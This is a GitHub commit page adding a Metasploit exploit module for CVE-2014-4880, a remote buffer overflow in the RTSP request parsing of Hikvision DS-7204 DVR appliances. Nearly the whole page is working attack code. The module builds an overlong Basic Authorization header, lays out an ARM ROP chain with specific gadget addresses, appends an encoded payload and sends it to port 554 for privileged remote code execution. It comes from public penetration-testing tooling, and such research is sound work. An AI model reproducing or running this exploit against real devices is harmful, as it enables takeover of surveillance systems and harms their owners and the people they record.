Skip to content

Commit abc0640

Browse files
author
HD Moore
committed
Fix placeholder, lands rapid7#4237
2 parents 6a58774 + 9e9954e commit abc0640

File tree

1 file changed

+140
-0
lines changed

1 file changed

+140
-0
lines changed
Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Exploit::Remote::Tcp
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Hikvision DVR RTSP Request Remote Code Execution',
16+
'Description' => %q{
17+
This module exploits a buffer overflow in the RTSP request parsing
18+
code of Hikvision DVR appliances. The Hikvision DVR devices record
19+
video feeds of surveillance cameras and offer remote administration
20+
and playback of recorded footage.
21+
22+
The vulnerability is present in several models / firmware versions
23+
but due to the available test device this module only supports
24+
the DS-7204 model.
25+
},
26+
'Author' =>
27+
[
28+
'Mark Schloesser <mark_schloesser[at]rapid7.com>', # @repmovsb, vulnerability analysis & exploit dev
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'CVE', '2014-4880' ],
34+
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/11/19/r7-2014-18-hikvision-dvr-devices--multiple-vulnerabilities' ]
35+
],
36+
'Platform' => 'linux',
37+
'Arch' => ARCH_ARMLE,
38+
'Privileged' => true,
39+
'Targets' =>
40+
[
41+
#
42+
# ROP targets are difficult to represent in the hash, use callbacks instead
43+
#
44+
[ "DS-7204 Firmware V2.2.10 build 131009", {
45+
46+
# The callback handles all target-specific settings
47+
:callback => :target_ds7204_1,
48+
'g_adjustesp' => 0x002c828c,
49+
# ADD SP, SP, #0x350
50+
# LDMFD SP!, {R4-R6,PC}
51+
52+
'g_r3fromsp' => 0x00446f80,
53+
# ADD R3, SP, #0x60+var_58
54+
# BLX R6
55+
56+
'g_blxr3_pop' => 0x00456360,
57+
# BLX R3
58+
# LDMFD SP!, {R1-R7,PC}
59+
60+
'g_popr3' => 0x0000fe98,
61+
# LDMFD SP!, {R3,PC}
62+
} ],
63+
64+
[ "Debug Target", {
65+
66+
# The callback handles all target-specific settings
67+
:callback => :target_debug
68+
69+
} ]
70+
71+
],
72+
'DefaultTarget' => 0,
73+
'DisclosureDate' => 'Nov 19 2014'))
74+
75+
register_options(
76+
[
77+
Opt::RPORT(554)
78+
], self.class)
79+
end
80+
81+
def exploit
82+
unless self.respond_to?(target[:callback])
83+
fail_with(Failure::NoTarget, "Invalid target specified: no callback function defined")
84+
end
85+
86+
device_rop = self.send(target[:callback])
87+
88+
request = "PLAY rtsp://#{rhost}/ RTSP/1.0\r\n"
89+
request << "CSeq: 7\r\n"
90+
request << "Authorization: Basic "
91+
request << rand_text_alpha(0x280 + 34)
92+
request << [target["g_adjustesp"]].pack("V")[0..2]
93+
request << "\r\n\r\n"
94+
request << rand_text_alpha(19)
95+
96+
# now append the ropchain
97+
request << device_rop
98+
request << rand_text_alpha(8)
99+
request << payload.encoded
100+
101+
connect
102+
sock.put(request)
103+
disconnect
104+
end
105+
106+
# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
107+
def target_ds7204_1
108+
# Create a fixed-size buffer for the rop chain
109+
ropbuf = rand_text_alpha(24)
110+
111+
# CHAIN = [
112+
# 0, #R4 pop adjustsp
113+
# 0, #R5 pop adjustsp
114+
# GADGET_BLXR3_POP, #R6 pop adjustsp
115+
# GADGET_POPR3,
116+
# 0, #R3 pop
117+
# GADGET_R3FROMSP,
118+
# ]
119+
120+
ropbuf[8,4] = [target["g_blxr3_pop"]].pack("V")
121+
ropbuf[12,4] = [target["g_popr3"]].pack("V")
122+
ropbuf[20,4] = [target["g_r3fromsp"]].pack("V")
123+
124+
return ropbuf
125+
end
126+
127+
# Generate a buffer that provides a starting point for exploit development
128+
def target_debug
129+
Rex::Text.pattern_create(2000)
130+
end
131+
132+
def rhost
133+
datastore['RHOST']
134+
end
135+
136+
def rport
137+
datastore['RPORT']
138+
end
139+
140+
end

0 commit comments

Comments
 (0)